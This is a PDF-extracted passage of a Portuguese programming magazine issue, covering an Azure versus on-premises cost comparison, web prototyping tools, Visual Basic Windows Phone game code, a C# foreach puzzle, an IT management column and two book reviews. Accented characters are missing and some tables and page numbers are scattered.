dos testes de carga que se basearam no trfego usual da Loja A. Depois de efetuado o dimensionamento foram, numa primeira fase, calculados os custos associados a ter um servidor como o da Loja A alojado localmente. Foram englobados dois tipos de custo, o custo de aquisio do equipamento e licenciamento (custo no corrente ou CAPEX, Capital Expenditure) e os custos de operao e manuteno do equipamento (custo corrente ou OPEX, Operational Expenditure). Estes custos foram utilizados para o clculo do TCO (Total Cost of Ownership) de uma soluo on-premises relativamente a uma soluo na nuvem num perodo de 3 anos. O TCO uma estimativa usada para medir a viabilidade de um investimento financeiro e que engloba todos os custos diretos e indiretos que esto envolvidos em determinada aquisio. importante lembrar ao leitor que benfico introduzir a maior quantidade de dados possvel para que a estimativa do TCO seja mais robusta e os resultados possam ser mais prximos da realidade.
Figura 4 - Comparativo de desempenho entre as instncias do Windows Azure e um servidor equiparado ao da Loja A
O comparativo revela que o desempenho do CPU das instncias do Windows Azure inferior ao desempenho do CPU presente no servidor on-premises, exceo da instncia de tamanho Extra Large, que apresenta um desempenho 21% superior. No obstante a este facto, foi escolhida para a aplicao uma instncia de tamanho Large uma vez que os 63% de diferena de desempenho podem ser compensados por se usarem duas instncias em vez de uma. Para comprovar que a soluo na nuvem est bem dimensionada e consegue suster a procura da soluo on-premises, foram efetua-
A PROGRAMAR
CUSTO EFETIVO DE UMA SOLUO NA NUVEM EM AMBIENTE WINDOWS AZURE
Assim, para a soluo on-premises foram includos no clculo do TCO os custos no correntes (Figura 5) referentes aquisio do servidor, licenciamento, UPS, equipamento de rede e bastidor. O custo do equipamento de rede incluindo cablagem, foi definido de acordo com a calculadora de comparao de custo da Amazon correspondendo a 20% do total do investimento com servidores. rado caso a garantia englobe a substituio de hardware, este o caso do servidor que inclui Next Business Day Parts Replacement nos 3 anos de garantia e da UPS no primeiro ano). O ar condicionado no foi, por sua vez, considerado pelo que a estimativa do custo corrente da soluo on-premises uma estimativa por baixo.
Na soluo na nuvem existem somente custos correntes (Figura 7) no existindo qualquer investimento inicial devido compra de equipamento. Para o custo da soluo na nuvem foram utilizadas duas instncias Large e uma base de dados e espao de armazenamento de acordo com as dimenses do servidor da Loja A. Est ainda includa a subscrio do AzureWatch (http://goo.gl/rRQ1X) a ferramenta responsvel pela escalabilidade automtica.
Quanto aos custos correntes (Figura 6) foi includo no clculo o custo de manuteno de hardware, o contrato de assistncia tcnica, eletricidade, ligao Internet e ar condicionado. Para se aferir o gasto mensal com eletricidade foi estimado um consumo de 252 kWh tendo por base uma potncia de 350 W 24 horas por 7. Para a manuteno foi considerado que a instituio tem um contrato de assistncia tcnica para o seu parque informtico no qual, est englobado o servidor. Como o contrato partilhado apenas foi considerado 50% do valor total do contrato que, neste caso corresponde a 283,52 EUR mensais. Os mesmos 50% foram aplicados ligao Internet perfazendo o valor de 20,50 EUR. O custo de manuteno de hardware foi definido segundo a calculadora de comparao de custo da Amazon correspondendo a 10% do valor do equipamento (o equipamento no deve ser conside-
No custo total no consta o valor da transferncia de dados para a Internet (0,09 EUR por GB) e o custo das operaes na conta de armazenamento (0,01 EUR por 100000 operaes). A comparao tem por base o desenvolvimento de uma nova soluo, que seria criada de raiz quer para ser alojada localmente, quer para ser alojada na nuvem. Deste modo, o custo de desenvolvimento no foi contabilizado por se achar equivalente. Num cenrio de migrao para a nuvem, teria de ser contabilizado o esforo de adaptao da aplicao existente ao novo paradigma.
25
A PROGRAMAR
CUSTO EFETIVO DE UMA SOLUO NA NUVEM EM AMBIENTE WINDOWS AZURE
Clculo TCO da Loja A, On-Premises CapEx Custo de Hardware Ano 1 Ano 2 Ano 3 Servidor 1 processador 4 cores 2589,15 0,00 0,00 0,00
Pelos clculos da Tabela 3 e 4 percebe-se que o custo entre a soluo on-premises e a soluo na nuvem est equiparado chegando a uma diferena de dois dgitos no segundo trimestre do terceiro ano. Nesse perodo o custo da soluo na nuvem acaba mesmo, por ultrapassar o custo da soluo local apresentando no final dos 3 anos, um total acumulado de 21.766,68 EUR contra 19.799,33 EUR (mais 9%). Estes resultados demonstram a exatido dos preos praticados pelos fornecedores de cloud-computing que tm por objetivo transferir os custos para o utilizador. O paradigma no se mostrou aliciante do ponto de vista financeiro por se estar a usar um nmero de instncias fixo. No cenrio da Loja A o facto de no se estar a tirar partido da elasticidade levou a um dimensionamento acima das reais necessidades da aplicao, as duas instncias de tamanho Large so adequadas para o perodo de pico mas so desnecessrias em perodo normal.
Clculo TCO da Loja A, Nuvem
1550,00
0,00
0,00
0,00
517,83
0,00
0,00
0,00
Custo bastidor
209,89
0,00
0,00
0,00
CapEx
0,00 51,78 206,78 206,78
Custo dos Servios na Nuvem 2 Instncias Web Role de Tamanho Large Base de Dados 10 GB Conta de Armazenamento 100 GB Outros 2 Instncias Monitorizadas no AzureWatch 0,00
Ano 1
Ano 2
Ano 3
0,00
6517,68
6517,68
6517,68
0,00
433,32
433,32
433,32
0,00
117,84
117,84
117,84
1119,99
0,00
0,00
0,00
186,72
186,72
186,72
TOTAL
0,00
7255,56
7255,56
7255,56
Instalae s
Eletricidade
0,00
421,20
421,20
421,20
Ligao internet
0,00
246,00
246,00
246,00
0,00
0,00
0,00
0,00
0,00 7125,67
3402,24 4121,22
3402,24 4276,22
3402,24 4276,22
expectvel que a nuvem seja mais favorvel para o utilizador caso tenha a capacidade de se adaptar procura da aplicao. A Loja A apresenta um padro dirio que se caracteriza por um aumento da procura das 14 s 21 horas na qual so necessrias duas instncias, no restante tempo uma nica instncia suficiente. Os clculos foram refeitos tendo em conta o padro de trfego dirio da Loja A. Ao contrrio da estimativa anterior, no foram utilizadas diariamente 48 horas de uma instncia Large mas antes uma instncia a tempo inteiro e uma instncia adicional no perodo de pico. As anteriores 48 horas passaram a 24 horas mais 7 o que perfaz um total de 31 horas de computao por dia. Como existe uma s instncia em perodo normal quando o servio est bem dimensionado foi, necessrio ignorar o SLA (pelo menos duas instncias de cada tipo) para retificar a estimativa. O benefcio financeiro da adequao dos recursos carga exigida est evidenciado na Figura 8 permitindo uma pou26
A PROGRAMAR
CUSTO EFETIVO DE UMA SOLUO NA NUVEM EM AMBIENTE WINDOWS AZURE
pana na ordem dos 25% num perodo de 3 anos. validade quando utilizados isoladamente. Links teis So deixados ao leitor dois endereos que contm cenrios tpicos de aplicao das queues e das tabelas. Acredita-se que estes links podero ser teis aquando do desenvolvimento do falso Worker Role (Figura 3) dado que a comunicao entre o stio e o falso Worker Role feita por intermdio destes servios. Develop, How to use the Queue Storage Service from .NET Microsoft @ http://goo.gl/q4vDp Develop, How to use the Table Storage Service from .NET Microsoft @ http://goo.gl/IgnHa Referncias Above the Clouds: A Berkeley View of Cloud Computing Armbrust, Michael et all, University of California, Berkeley, 2009 ASP.NET Universal Providers For SqlExpress - Microsoft, 2012 @ http://goo.gl/bnFMn AWS Economics Center - Amazon, 2012 @ http://goo.gl/ r2F4Z Azure In Action - Hay, Chris; Prince, Brian H., Manning, 2011 A View of Cloud Computing - Armbrust, Michael et all, 2010 Develop, Introducing Windows Azure - Chappell, David, 2012 @ http://goo.gl/u8csa Develop, Improving Application Availability in Windows Azure - Microsoft, 2012 @ http://goo.gl/BxG1a Develop, Overview of Creating a Hosted Service for Windows Azure - Microsoft, 2011 @ http://goo.gl/WG3E8 Develop, Real World: Startup Lifecycle of a Windows Azure Role - Fowler, Cory, 2012 @ http://goo.gl/Z70nJ Importance of Windows Azure Affinity Groups - Godinho, Nuno, 2012 @ http://goo.gl/F9GKG New Full IIS Capabilities: Differences from Hosted Web Core - Microsoft, 2010 @ http://goo.gl/MMFIa The Cloud Bottom Line: Calculating TCO and ROI for Business Applications in the Cloud - Saugatuck Technology, 2011.
Concluso Os resultados levam a concluir que num cenrio em que o nmero de instncias fixo ou em que o nmero de instncias necessrias fora do perodo de pico inferior a dois o paradigma do cloud-computing no atrativo do ponto de vista financeiro. Mesmo que haja diferena esta deve ser suficientemente grande para que justifique a adoo de um novo paradigma. Esta diferena foi conseguida quando se tirou partido da elasticidade, uma das principais caractersticas diferenciadoras da nuvem. A estimativa revelou que quando uma soluo bem dimensionada podero ser alcanadas poupanas substanciais que, foram na ordem dos 25% no caso especifico da Loja A. A Saugatuck Technology, uma empresa de consultadoria e investigao vocacionada para o cloud-computing nas suas diferentes formas (SaaS, PaaS ou IaaS), defende que a diferena do TCO entre uma soluo on-premises e uma soluo na nuvem nunca deve ser inferior a 20% para que o aspeto financeiro justifique, por si s, a adoo de um novo paradigma. Uma organizao deve, por isso, averiguar a viabilidade financeira da nuvem antes de optar por introduzir o novo paradigma na sua estratgia de negcio. Os clculos devem ser feitos com rigor e com a maior quantidade de dados possvel para que a estimativa do TCO seja prxima da realidade. Para o efeito a organizao pode utilizar o seu prprio modelo de clculo ou utilizar um modelo de uma empresa independente, tal como apresentado na Tabela 3 e 4 onde aplicado o modelo da Infotech (http://goo.gl/JceIB). Os modelos dos fornecedores podem ser utilizados como complemento mas, como so patrocinados podem induzir a resultados demasiados favorveis para o fornecedor de servio. Deste modo, no tm
AUTOR
Escrito por Edgar Santos Encontra-se actualmente a concluir o Mestrado em Engenharia Informtica - Computao Mvel do Instituto Politcnico de Leiria, sob orientao dos professores Patrcio Domingues e Slvio Mendes, no mbito do qual este artigo est inserido. Profissionalmente, o seu interesse pelas redes de computadores levou-o a ingressar numa multinacional do sector das telecomunicaes. Prefere linguagens interpretadas e a sua linguagem de eleio o C#.
27
A PROGRAMAR
Rpido e bem? A programao web tem.
O mais curioso na tecnologia a sua capacidade de mutao quase frentica. O que hoje uma tcnica ou produto de ponta, amanh uma forma obsoleta de resolver um determinado problema. bvio que a questo no to linear assim, mas ilustra que a tecnologia evolui a um ritmo muito acelerado e que indispensvel adaptarmo-nos constantemente a novas metodologias, novas ferramentas e novas formas de comunicar. A Web tem sido uma das reas que mais tem evoludo, e para que os nossos sites, os sites dos nossos clientes tenham sucesso, temos uma necessidade regular de inovar e produzir rpida e eficazmente. A investigao nesta rea essencial e este artigo visa isso mesmo, referir algumas das ferramentas, formas de programar e sequncias de tarefas que nos permitem optimizar todo o processo de desenvolvimento de um site e que garantem a qualidade deste. O pressuposto: vamos construir um site. J! Gastar vrios meses no seu desenvolvimento no vivel. Temos de ser rpidos e pragmticos. Aqui surgem as primeiras questes que temos logo de ver respondidas: quais os objectivos do site? Qual o pblico alvo? O que ser diferenciador no meu site para que as pessoas o visitem? Temos que ter contedos de qualidade, que motivem o interesse dos visitantes e os faa voltar constantemente. Nesta fase essencial termos alguns desses contedos reunidos como imagens, logtipos da marca, cliente ou tema que vamos falar. Isto ir facilitar o processo de desenvolvimento e de construo de layout grfico. De seguida, vamos para o processo de prototipagem; um processo que se espera e deseja ser rpido. Este procedimento passa j pela parte de programao, e aqui iniciamos um conjunto de processos que iro permitir ao nosso site estar perfeitamente executado. Existem algumas frameworks de acelerao do nosso trabalho e que nos vai permitir tornar o site melhor, mais rpido e acessvel. Vamos usar o HTML5 Boilerplate (http:// html5boilerplate.com/), um template para front-end que conta com a colaborao de mais de 100 developers. Podemos usar uma outra ferramenta que nos permite, para alm de incluir o HTML5 Boilerplate, acelerar o processo: o Bootstrapp (http://twitter.github.com/bootstrap/). Para escolhermos as vrias opes das frameworks que vamos utilizar, utilizamos o initializr (http://www.initializr.com/). E aqui no nos podemos esquecer do que queremos, um site acessvel a todos os utilizadores e em todos dispositivos. O Responsive Design que tanto se fala uma obrigao, no uma escolha. As visitas online a partir de smartphones e tablets aumentam a cada dia, pelo que importante ter um site que responda a todos estes dispositivos. Fazemos ento download do nosso template base que j traz uma estrutura base para o nosso prottipo. Este template bsico inclui o modernizr (http://modernizr.com/) que nos permite detectar quais as propriedades HTML5 e CSS3 disponveis no browser, possibilitando desta forma que caso algo no seja suportado podemos criar fallbacks com javascript ou CSS. Com esta estrutura base podemos iniciar o desenvolvimento do nosso prottipo, alterando os ficheiros de favicons, e podemos, baseando-nos na documentao do bootstrap, criar uma estrutura de layout para o site. Na documentao do bootstrap podem ver exemplos e a simplicidade de cdigo com que conseguimos criar facilmente uma estrutura de site, com a vantagem de possuir um aspecto bastante bom a nvel grfico.
Existe um artigo na designshack que nos mostra ainda algumas ferramentas fenomenais que podemos usar para o bootstrap: http://designshack.net/articles/css/20-awesomeresources-for-twitter-bootstrap-lovers/ Para alm disto, temos j templates tambm para o Bootstrap que nos podem servir como base. http:// getkickstrap.com/themes/ Contedos prontos, estrutura base pronta. Aqui entra a questo dos objectivos e contedos do site, que diferem de caso para caso. Durante o desenvolvimento, algumas regras importantes:
Desenvolvimento em HTML5, mas sempre com ateno a fallbacks para browsers que ainda no suportam totalmente o HTML5. Aqui, o Javascript poder ser o melhor amigo, principalmente o Jquery que j vem includo no template base este site pode ser uma grande ajuda: http://html5please.com/ - que nos mostra o que j podemos usar ou no. Ser inteligente no uso de CSS. Minimizar o uso de cdigo repetitivo como as propriedades float, ou fontsize. Podemos criar classes sem termos necessidade de estar constantemente a repetir cdigo.
28
A PROGRAMAR
RPIDO E BEM? A PROGRAMAO WEB TEM!
Optimizar o uso de gradientes. J no temos necessidade de incluir dezenas de imagens - http:// www.colorzilla.com/gradient-editor/ - deixando de lado algumas com gradientes. Agora pode ser tudo por CSS. Esta ferramenta com o aspecto do Photoshop ajuda-nos imenso, acelerando o processo de desenvolvimento. Usar bem CSS3 - http://css3generator.com/ - Com tantas propriedades CSS3, esta ferramenta faz maravilhas. Usar Friendly URLs. Pensar sempre na usabilidade do nosso site. URLs amigveis tornam o nosso site mais eficaz, com facilidade de leitura e partilha de endereos.
Validao de cdigo HTML e CSS (http:// validator.w3.org/ e http://jigsaw.w3.org/css-validator/ ); Incluir Google Analytics (http://www.google.com/ analytics/). Temos de saber se o nosso site est a ser visitado e se a experincia de utilizador est a ser a que ns pretendemos para a plataforma.
Este um conjunto de regras que podemos seguir, sendo que antes da colocao online devemos testar o site; se tudo funciona, se as expectativas do site so correspondidas. Nesta fase pedimos aos nossos amigos ou parceiros que testem o site e nos ajudem a perceber se tudo est como pretendido. A nvel de desenvolvimento utilizamos o Bootstrap, mas no podemos deixar de mencionar uma nova framework portuguesa desenvolvida pelo pessoal fantstico da Sapo. INK (http://ink.sapo.pt/) foi apresentado no Codebits VI, est em fase de desenvolvimento, e tem uma diferena com outras frameworks de desenvolvimento de layout, que o facto de no utilizar uma grelha, funcionando apenas com percentagens. Estas frameworks, regras e ferramentas permitem um desenvolvimento mais acelerado e a prototipagem de uma aplicao rapidamente, que podemos testar e mais facilmente nos aproximar da nossa soluo final.
Minificar todo o cdigo Javascript e CSS necessrio para optimizarmos ainda mais o nosso site. No esquecer que no Head do nosso documento apenas dever ser chamado a livraria modernizr, e o restante Javascript no final do nosso elemento <body>. Este processo acelera o carregamento dos elementos visuais para que o utilizador tenha uma melhor experincia de utilizao. (http://jscompress.com/ e http:// www.minifycss.com/css-compressor/ ) ;
Com a evoluo da Web, temos que ser rpidos, eficazes e pragmticos na hora de desenvolver solues. Esperamos ter-vos ajudado com este artigo.
AUTOR
Escrito por Srgio Laranjeira Sonhador e empreendedor com uma paixo enorme por tudo que web. Sonhador, idealista e apaixonado. Coloca em cada projecto todas as suas virtudes humanas, fundindo-as com mestria nas suas skills enquanto programador. na rea web nesta rea que revela grande conhecimento e uma capacidade tcnica pragmtica. Licenciado em Computao Grfica apaixonado por web e tudo que relacionado com usabilidade e acessibilidade.
29
COLUNAS
Visual (NOT) Basic - Organismos! Do zero ao mercado (2/2) Enigmas de C# - Async/Await e Threads CoreDump - Core Dump - Fora de Horas
No ficheiro Jogo.Recursos.vb, vamos contemplar estes novos controlos. Comecemos por criar variveis: Public Public Public Public BT_Musica_Ligada As Texture2D BT_Musica_Desligada As Texture2D BT_Efeitos_Ligados As Texture2D BT_Efeitos_Desligados As Texture2D
E depois no mtodo CarregarRecursos: BT_Musica_Ligada = Content.Load(Of Texture2D) ("btmusicaon") BT_Musica_Desligada = Content.Load(Of Texture2D) ("btmusicaoff") BT_Efeitos_Ligados = Content.Load(Of Texture2D) ("btsfxon") BT_Efeitos_Desligados = Content.Load(Of Texture2D) ("btsfxoff") Na classe de inicializaes, Jogo.Inicializacoes.vb, o mtodo InicializarMenu ter de contemplar estes novos botes: Central.Botao_Musica_On = New Sprite(BT_Musica_Ligada, New Vector2(10, ALTURA - 110), 0, 0)
E comecemos por efectuar alteraes j no ficheiro Utilidades.vb, com uma adio: Public Shared Sub GravarControloDeSom() Dim IST As IsolatedStorageFile = _ IsolatedStorageFile.GetUserStoreForApplication() Using wF As New IO.StreamWriter(New _ IsolatedStorageFileStream("organismos.som", _ FileMode.OpenOrCreate, FileAccess.Write, IST))
32
Por fim, basta acrescentar o mtodo ControloDoMP: Public Shared Function ControloDoMP() As Boolean If MediaPlayer.GameHasControl = False Then Return False If Not MediaPlayer.Queue.ActiveSong Is Nothing Then
33
Finalmente, continuar
Com as correces no stio, vamos comear a tratar do ciclo do jogo. A primeira coisa que queremos fazer preparar tudo nas classes perifricas para que no falte nada quando se escrever a actualizao, que onde est a lgica do jogo. Na classe Jogo.Fluxo.vb vamos acrescentar o seguinte bloco: Private Sub ValidarPassagemDeFase() If Central.Jogador.Tamanho > 0.7 And Central.Safo = False Then Central.Safo = True TocarSFX("SAFO") End If If Central.Jogador.Tamanho >= 1.25F Then TocarMusica() Central.Nivel += 1 FRAME = 1 Central.Jogador.Tamanho = 0.04F Central.PowerUpActivo = Nothing Fase = Fases.ENTRADA_NIVEL Central.Safo = False Central.CAMADA_EFECTIVA.ForEach(Sub(O As Objecto) O.OrdenarDestruicao() End Sub) End If End Sub Private Sub DescontarPontosTempo() If Central.Pontos > 0 Then If FRAME Mod Seg_Frames(15) = 0 Then Central.Pontos -= 1 If Central.Pontos < 0 Then Central.Pontos = 0 End Sub ValidarPassagemDeFase um mtodo que verifica duas coisas: se o organismo j se encontra no tamanho em que pode absorver tudo e tambm se o organismo j tem tamanho suficiente para passar de fase.
35
Para fechar a classe Jogo.Desenho.vb vamos escrever um bloco de cdigo bastante extenso, mas no tem muito para detalhar. Trata-se na sua essncia de preparaes e ordens de desenho dos objectos. De destacar apenas o mtodo DesenharFundos que se serve da propriedade Desvanecimento dos objectos que definimos anteriormente para fazer aparecer e desaparecer os fundos em passagens de fase. Private Sub DesenharCamadasJogo(SB As SpriteBatch) For Each L As List(Of Objecto) In {Central.CAMADA_INFERIOR, Central.CAMADA_EFECTIVA, Central.CAMADA_SUPERIOR} For Each O As Objecto In L O.Desenha(SB) Next If L Is Central.CAMADA_EFECTIVA Then _ Central.Jogador.Desenha(SB) Next End Sub Private Sub DesenharFundos(SB As SpriteBatch) If Central.Nivel Mod 2 = 1 Then Central.FundoJogo1.Desvanecimento = 10 Central.FundoJogo2.Desvanecimento = -10 Else Central.FundoJogo1.Desvanecimento = -10 Central.FundoJogo2.Desvanecimento = 10 End If Central.FundoJogo1.Opacidade = Grampo (Central.FundoJogo1.Opacidade, 0, 255) Central.FundoJogo2.Opacidade = Grampo (Central.FundoJogo2.Opacidade, 0, 255) If Central.FundoJogo1.Opacidade > 0
38
39
40
Os trilhos da certificao
O centro de criao do Windows Phone j foi bastante diferente do que hoje. verdade que sempre foi relativamente fcil de submeter aplicaes para certificao, mas tambm verdade que sempre cada vez mais simples. Existem ferramentas no prprio Visual Studio que ajudam a preparar o kit de imagens (para os cones e para os tiles) e faz uma bateria de testes genricos que permitem saber de antemo se a aplicao no vai ser recusada por uma falha grosseira, performance por exemplo. Existem alguns padres a seguir como o tempo de carregamento ou o consumo mximo de memria. Depois de passar nos testes do kit, enviamos a aplicao para l:
41
42
AUTOR
Escrito por Srgio Ribeiro Curioso e autodidata com uma enorme paixo por tecnologias de informao e uma saudvel relao com a .NET Framework. Moderador global na comunidade Portugal@Programar desde Setembro de 2009. Alguns frutos do seu trabalho podem ser encontrados em http://www.sergioribeiro.com
43
ENIGMAS C#
ENIGMAS DO C# - FOREACH
Resultado (continuao da pgina 24) Resultado Contrariamente ao ao que muitas pessoas possam pensar, o cdigo compila e o resultado da sua execuo : Enumerable.GetEnumerator Enumerator.MoveNext Enumerator.get_Current 0 Enumerator.MoveNext Explicao Segundo a especificao de C# (8.4.4), perante uma instruo foreach, uma das opes que o compilador tem em conta se o tipo do enumervel tem um mtodo GetEnumerator() que retorne um enumerador. Por sua vez, o enumerador ser um tipo que ter uma propriedade Current e um mtodo MoveNext() que retorna um valor booleano indicando se se deve continuar com a enumerao. Apesar do toda a enumerao poder ser baseada na deteo de padres (para alm da implementao das conhecidas interfaces), a chamada ao mtodo Dispose() s efetuada se o tipo do enumerador implementar a interface IDisposable. Assim sendo, se se mudar a definio do tipo do enumerador para: class Enumerator : IDisposable o resultado da execuo anterior passar a ser:
Enumerable.GetEnumerator Enumerator.MoveNext Enumerator.get_Current 0 Enumerator.MoveNext Enumerator.Dispose Concluso O compilador de C# usa a deteo de padres para alm da implementao de interfaces documentadas para a implementao das instrues. No apenas uma relao de tem de ser mas uma relao de tem de ser ou parecer-se com. A razo de ser desta opo prende-se com a facilidade de interoperar com outras plataformas (COM por exemplo). Ligaes C# Reference foreach, in (C# Reference)
AUTOR
Escrito por Paulo Morgado licenciado em Engenharia Electrnica e Telecomunicaes (Sistemas Digitais) pelo Instituto Superior de Engenharia de Lisboa e Licenciado em Engenharia Informtica pela Faculdade de Cincias e Tecnologia da Universidade Nova de Lisboa. Pelo seu contributo para a comunidade de desenvolvimento em .NET em lngua Portuguesa, a Microsoft premeia-o com o prmio MVP (C#) desde 2003. ainda co-autor do livro LINQ Com C# da FCA.
45
CoreDump
Core Dump - IT em Tempos de Crise
O papel dos departamentos de IT nem sempre reconhecido como sendo uma mais valia para as organizaes. No obstante, as organizaes sabem que o trabalho do CIO e da sua equipa critico para o sucesso do negcio. E precisamente no planeamento do caminho e na execuo do mesmo que o IT capaz de mostrar a sua real mais valia para a organizao. Atravs das boas prticas e da adoo de normas ajustadas necessidade da organizao - no confundir com burocracia que , tipicamente, contraprodutiva - o IT ser capaz de fazer, entre outras tarefas, melhores medies, melhor reporting, optimizao de processos e identificao de pontos de melhoria.
Atualmente, o sucesso da execuo estratgica das organizaes no atingido sem a participao do IT, existindo, por parte dos restantes departamentos, confiana, esperana e presso para que o IT encontre estratgias inovadoras. Para que tal acontea, imprescindvel que o IT compreenda o negcio e que saiba comunicar com os restantes departamentos de forma a garantir que se encontra alinhado com a estratgia da organizao.
O IT abraa vrios desafios dentro da organizao, sendo de destacar: (i) a garantia da operacionalidade diria do negcio de forma gil; (ii) implementao de melhorias que acrescentem valor e competitividade ao negcio; e (iii) disponibilizar informao organizao de forma a que esta possa decidir e agir. Para que todo o trabalho do IT reflita sucesso no negcio, basta que os C*Os trabalhem em conjunto, comuniquem de forma clara e garantam o alinhamento com a estratgia da organizao.
Infelizmente, embora reconhecendo o potencial e depositando confiana, muitos C*Os no conseguem ver o IT para alm da garantia da operacionalidade diria do negcio. Para quebrar esta barreira necessrio que os C*O compreendam que o IT necessita de saber qual o caminho ,de forma a ajudar a planear a sua execuo de forma inteligente.
AUTOR
Escrito por Fernando Martins Faz parte da gerao que se iniciou nos ZX Spectrum 48K. Tem um Mestrado em Informtica e mais de uma dcada de experincia profissional nas reas de Tecnologias e Sistemas de Informao. Criou a sua prpria consultora sendo a sua especialidade a migrao de dados.
46
Anlises
Introduo ao Design de Interfaces Exerccios em Java Algoritmia e Programao Estruturada
Review
Introduo ao Design de Interfaces
Ttulo: Introduo ao Design de Interfaces Autor: Manuel J. Fonseca, Pedro Campos e Daniel Gonalves Editora: FCA - Editora de Informtica, Lda. Pginas: 344 ISBN: 978-972-722-738-9 para uma boa construo de Interfaces, dividido em cinco captulos. Desde a anlise dos utilizadores, captulo importante para o desenvolvimento de uma boa interface, conceptualizao e prototipagem, at criao do design grfico em si e as avaliaes finais dos mesmos, explicando bem os princpios de cada sector, todos eles coesos, bem definidos e com exemplos simples e prticos.
Para um livro que se designa por "Introduo ao", posso dizer que um livro bastante completo. A comear pela capa, que na minha opinio, est muito bem conseguido. Simples, desde a fonte at ilustrao. Normalmente os livros tcnicos no so famosos pelas suas capas mas este, destaca-se. O contedo do livro aborda o tema em quase todas as suas reas, desde o inicio ao fim, os autores demonstram como importante a interao humana perante dispositivos digitais, as suas fases de desenvolvimento e nos ensina a importncia de seguirmos as regras de design. O livro est dividido em trs partes, de inicio, o livro contempla, historicamente, a importncia que existe na interao Pessoa-Mquina, com histrias e exemplos que vo desde os primrdios da linha de comandos at as tecnologias mais recentes como interaes mveis baseados em gestos/multitoque. Os autores na primeira parte descrevem-nos os fundamentos que existe na perceo humana, usabilidade de interao em geral, princpios, teorias e as mquinas. A comear pela fisionomia humana, os nossos sentidos e das nossas capacidades de interao, passando pelos sistemas que ns interagimos, neste caso os computadores e termina na ligao de Pessoa-Mquina, onde a compreenso do mesmo importante para uma melhor escolha de estilos e boa prtica de design de interfaces, parte importante para o bom desenvolvimento e que nos iro ajudar na compreenso nos captulos seguintes do livro. A segunda parte do livro mostra-nos os princpios e prticas
Por fim, a ltima parte, os autores destacam prticas que focam pontos importantes para o desenvolvimento de bons designs de interfaces, focando na prtica de recolha e anlise de informao de utilizadores, a importncia do desenvolvimento de bons manuais para os utilizadores e por fim, as tcnicas usadas na construo de web-sites e de como fazlo, seguindo as regras de design, para assim evitar os erros mais comuns praticado nesta rea. Em suma, o livro de leitura fcil, tem uma escrita no demasiado tcnico, com explicaes detalhadas, material e pontos de vista interessantes, bons exemplos e recomendo o livro no s para alunos e professores mas a todos que queiram ter um conhecimento extra e importante, um guia, para quem desenha, desenvolve e/ou constri sistemas onde existe uma interatividade Pessoa-Mquina.
AUTOR
Escrito por Srgio Alves Designer Grfico, Web-Designer e Programador, gosta de estar atualizado sobre as novas tendncias Web, aficionado em User Interfaces, Usabilidade, User Experience e aproximaes KISS. Velocipedista e fotografo como passatempo. No twitter: @Scorpion_Blood
49
Review
Exerccios em Java Algoritmia e Programao Estruturada
Ttulo: Exerccios em Java Algoritmia e Programao Estruturada Autor: Adelaide Carvalho Editora: FCA Pginas: 376 ISBN: 978-972-722-723-5 Quem est a dar, ou j deu, os seus primeiros passos na programao, sabe como tudo parece um bicho de sete cabeas. Seja qual for a linguagem de programao, existe um conjunto de regras mais simples do que a gramtica da lngua natural do programador, mas no deixa de ser tanto ou mais restritiva do que esta. Temos ento o processo natural de aprendizagem de uma linguagem que passa normalmente pela leitura de texto explicativos destes conceitos, que numa primeira fase, por acentarem numa base lgica muito forte, se tornam muito complicados para a mente criativa do ser humano. Uma maneira de culmatar esta dificuldade na absoro de informao e processos, a prtica. Assim como o exerccio fsico repetitivo cria flexibilidade e memria muscular, o exerccio mental cria a mesma flexibilidade mental assim como molda o pensamento aos conceitos usados. neste mbito que recai a edio do livro Exerccios em Java Algoritmia e Programao Estruturada editado pela FCA. Um livro que apresenta uma grande panplia de exerccios sobre os vrios temas que um novo programador, em algum momento, ter de aprender. Java no deixa de ser uma boa linguagem de programao para iniciantes, ao abstrair alguns elementos bsicos, assim como mantendo a forte tipagem de dados, ajudando a prevenir vrios tipos de erros que um programador poderia cometer. O Java mantem alm disso, a facilidade de criao de um ambiente de desenvolvimento. Em termos do livro, ento disponibilizado um grande conjunto de exerccios que apresenta a linguagem ao programador de uma forma faseada e modular. Comeando com uma explicao de como instalar um ambiente de desenvolvimento assim como instalar e comear a programar com o IDE Eclipse, o programador fica ento preparado para comear a praticar os exerccios que lhe sero fornecidos. de lembrar que no deixa de ser um livro de exerccios, no de esperar que seja uma fonte de informao de referncia, onde uma pessoa possa aprender a programar, mas sim um conjunto de apresentaes de como manusear a linguagem e como resolver gamas de problemas atravs das funcionalidades apresentadas pela linguagem. Exerccios estes que abrangem elementos bsicos como operadores e dados naturais da linguagem at funes e recursividade. Os execcios so apresentados de uma forma simples, com um enunciado. De seguinda, so apresentados os passos a serem dados para a resoluo: algoritmo, esquematizao de variveis, pseudo-cdigo e no final, o cdigo pedido pelo enunciado. Esta apresentao do livro Exerccios em Java Algoritmia e Programao Estruturada revela uma boa fonte de informao necessria para elucidar um programador de como se entrusar no processo resoluo de um problema, no entanto revela vrias lacunas. A mais crucial ser que a apresentao do algoritmo de resoluo dos problemas no explica o porqu das escolhas efectuadas. Uma explicao textual do processo de resoluo tornaria todo o trabalho de interpretao da informao apresentada muito mais acessvel, algo que no claro para um programador iniciante. de notar que existem muitas e variadas gralhas, normais de uma primeira edio, sendo essa a razo que aconselho a quem possui este livro, que o leia com muita ateno. No entanto, para mim, o maior problema a muito m indentao do cdigo apresentado. A leitura deste cdigo muito difcil, mesmo nos programas mais pequenos. A autora deste livro optou tambm por apresentar as solues aos exerccios ainda antes da apresentao do exerccio seguinte. Se o possuidor do livro Exerccios em Java Algoritmia e Programao Estruturada pretender ser testado, necessita de ter a integridade de no visualizar o contedo seguinte. Isto demonstra que o pretendido com o livro somente a apresentao do processo estruturado de resoluo. Em concluso, o livro Exerccios em Java Algoritmia e Programao Estruturada um livro com um bom contedo mas falha claramente na apresentao. O meu conselho a quem pretende adquirir um livro de exerccios, ou um que demonstre como utilizar os conceitos apresentados num livro de iniciao programao, que espere pela segunda edio onde o contedo ter sofrido uma reviso e correco dos erros existentes.
AUTOR
Escrito por Carlos Jos Dias Programador desde os tempos do Sinclair 48k, passa o tempo entre o trabalho, famlia e o form P@P. A universidade j la vai, ficando a responsabilidade de manter a sua empresa Simple Gray, e salpicos de saisfao por fazer aquilo que gosta, programar e ajudar a quem quer aprender.
50
No Code
Viagem da Informao Camaleo! De que cor? Verifica regularmente os ficheiros JavaScript do seu site? Entrevista a Tiago Andrade e Silva Projecto em Destaque na Comunidade Portugal a Programar : Taggeo
No Code
Viagem da Informao
